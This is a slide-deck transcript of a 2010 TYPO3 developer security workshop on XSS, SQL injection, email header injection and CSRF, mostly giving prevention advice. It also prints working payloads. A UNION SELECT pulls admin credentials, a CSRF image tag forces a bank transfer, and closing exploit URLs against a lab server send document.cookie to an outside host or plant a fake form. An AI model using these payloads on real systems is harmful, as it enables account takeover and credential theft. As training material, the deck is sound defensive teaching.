T3DD10 Security Workshop

TYPO3 Developer Days - Elmshorn 2010 Inspiring Security Workshop sha

T3DD10 Security Security ﬂaws versus Security concepts 02.07.2010 Helmut Hummel <helmut@typo3.org>

Introduction Do you ... Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? ... ever heared of XSS? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? ... ever heared of XSS? ... ever heared of SQLi? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? ... ever heared of XSS? ... ever heared of SQLi? ... ever heared of CSRF? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? ... ever heared of XSS? ... ever heared of SQLi? ... ever heared of CSRF? ... ever found a vulnerability in a TYPO3 extension? Inspiring people to T3DD10 Security Workshop share

Introduction Do you ... ... know me? ... have a working development environment? ... ever heared of XSS? ... ever heared of SQLi? ... ever heared of CSRF? ... ever found a vulnerability in a TYPO3 extension? ... reported your ﬁndings to security@typo3.org? Inspiring people to T3DD10 Security Workshop share

Did you ever hack for Inspiring people to T3DD10 Security Workshop share

Security Flaws versus Security Concepts Agenda General Security Concepts Hacking / Code Review Session Getting into details about some vulnerabilitiy types Writing down best practices for TYPO3 developers Inspiring people to T3DD10 Security Workshop share

What is Security? Inspiring people to T3DD10 Security Workshop share

Security is not a state Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process The security of an application must be proven over time Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process The security of an application must be proven over time Security must constantly be improved Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process The security of an application must be proven over time Security must constantly be improved An application can never be secure ... Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process The security of an application must be proven over time Security must constantly be improved An application can never be secure ... ... but only not insecure at a particular time Inspiring people to T3DD10 Security Workshop share

What is Security? Security is a process The security of an application must be proven over time Security must constantly be improved An application can never be secure ... ... but only not insecure at a particular time The „costs“ for security must relate to the possible impacts Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Filter->Validate->Escape never mix them up Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Filter->Validate->Escape never mix them up Defense in depth Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Filter->Validate->Escape never mix them up Defense in depth Positive Security Model (Whitelist) Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Filter->Validate->Escape never mix them up Defense in depth Positive Security Model (Whitelist) Use logging Inspiring people to T3DD10 Security Workshop share

What is Security? General Security Concepts Minimize Exposure / Least privilege Don‘t trust user data, don‘t trust Services Filter->Validate->Escape never mix them up Defense in depth Positive Security Model (Whitelist) Use logging Avoid security by obscurity Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting (XSS) Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Persitent/ non persistent XSS Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Persitent/ non persistent XSS Injecting Up / Break out of the current DOM context Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Persitent/ non persistent XSS Injecting Up / Break out of the current DOM context Injecting Down Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Persitent/ non persistent XSS Injecting Up / Break out of the current DOM context Injecting Down Stay in the current context, but use the possibiities Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting XSS Persitent/ non persistent XSS Injecting Up / Break out of the current DOM context Injecting Down Stay in the current context, but use the possibiities <img src="javascript:alert(document.cookie)" / > Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting Preventing XSS Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting Preventing XSS Input validation and/or ﬁltering is not enough Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting Preventing XSS Input validation and/or ﬁltering is not enough Escape correctly, depending on the context Inspiring people to T3DD10 Security Workshop share

Cross Site Scripting Preventing XSS Input validation and/or ﬁltering is not enough Escape correctly, depending on the context <script>...NEVER PUT UNTRUSTED DATA HERE...</script> <img src=“... OR HERE ...“ /> ... because then you‘re doomed Inspiring people to T3DD10 Security Workshop share

Email Header Injection Inspiring people to T3DD10 Security Workshop share

Email Header Injection Email Header Injection PHP mail() function and From: header Use ﬁlter_var($mail, FILTER_VALIDATE_EMAIL) do not allow chr(10) or chr(13) Inspiring people to T3DD10 Security Workshop share

SQL Injection (SQLi) Inspiring people to T3DD10 Security Workshop share

SQL Injection SQLi (blind) SQL Injections Timing attacs UNION SELECT Example: union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,user name,password,0 from be_users where admin in(1) Check your TypoScript! Inspiring people to T3DD10 Security Workshop share

SQL Injection Prevent SQLi Inspiring people to T3DD10 Security Workshop share

SQL Injection Prevent SQLi Prepared Statements / PDO Inspiring people to T3DD10 Security Workshop share

SQL Injection Prevent SQLi Prepared Statements / PDO Escaping Inspiring people to T3DD10 Security Workshop share

SQL Injection Prevent SQLi Prepared Statements / PDO Escaping Typecasting (intval), whitelist validation Inspiring people to T3DD10 Security Workshop share

SQL Injection Prevent SQLi Prepared Statements / PDO Escaping Typecasting (intval), whitelist validation Using an ORM (extbase, FLOW3, QCodo, ...) Inspiring people to T3DD10 Security Workshop share

Cross Site Request Forgery Inspiring people to T3DD10 Security Workshop share

Cross Site Request Forgery CSRF Executing arbitrary actions on behalf of a victim <img src="http://bank.com/transfer.do? acct=MARIA&amount=100000" width="1" height="1" border="0"> stored CSRF (like XSS) Targeted Emails Requires probably some kind of social engineering Inspiring people to T3DD10 Security Workshop share

Cross Site Request Forgery Prevent CSRF Limiting to POST and checking referrer not enough Double Submit Cookies Challenge-Response Synchronizer Token Pattern No Cross-Site Scripting (XSS) Vulnerabilities

Application Vulnerabilities More

Application Vulnerabilities More Information Disclosure HTTP Response Splitting Path Traversal Privilege Escalation Session Fixation LPAP Injection Remote Code Execution

T3DD10 Security Workshop Rescources PHP-Sicherheit (Christopher Kunz and Stefan Esser) Essential PHP Security (Chris Shiﬂett) http://www.owasp.org/ http://www.ibm.com/developerworks/ opensource/library/os-php-secure-apps/ index.html http://www.owasp.org/index.php/ Category:OWASP_WebGoat_Project Inspiring people to T3DD10 Security Workshop share

T3DD10 Security Workshop SQLi Exploit http://192.168.100.139/introductionpackage/ t3dd10/pi1/? no_cache=1&tx_coolextension_pi1[showUid]=1%2 0UNION%20SELECT%20uid,%20pid,%20tstamp, %20crdate,%20cruser_id,uid%20as %20t3ver_oid,uid%20as%20t3ver_id,uid%20as %20t3ver_wsid,uid%20as%20t3ver_label,uid%20as %20t3ver_state,%20uid%20as%20t3ver_stage,uid %20as%20t3ver_count,uid%20as %20t3ver_tstamp,uid%20as%20t3_origuid,uid %20as%20sys_language_uid,uid%20as %20l10n_parent,uid%20as %20l10n_diffsource,deleted,disable%20as %20hidden,starttime,endtime,%20usergroup%20as %20fe_group,username%20as

T3DD10 Security Workshop XSS Exploit http://192.168.100.139/introductionpackage/ t3dd10/pi2/? no_cache=1&tx_coolextension_pi2[name]= %22+type%3D%22hidden%22%2F%3E%3Cscript %3Ewindow.location.href+%3D+%27http%3A%2F %2Ftypo3.org%2F%3Fcookie%3D%27+%2B +document.cookie%3B%3C%2Fscript%3E

T3DD10 Security Workshop XSS Exploit bit.ly/bpJzpF http://192.168.100.139/introductionpackage/ t3dd10/pi2/? no_cache=1&tx_coolextension_pi2[name]= %22+type%3D%22hidden%22%2F%3E%3C%2Fform %3E%3Cform+action%3D%22http%3A%2F %2Ftypo3.org%22%3E%3Cinput+type%3D%22text %22+name%3D%22name

inspiring people to share.

T3DD10 Security Workshop

by Helmut Hummel on Jul 03, 2010

Accessibility

Categories

Tags

Upload Details

Usage Rights

Statistics

T3DD10 Security Workshop — Presentation Transcript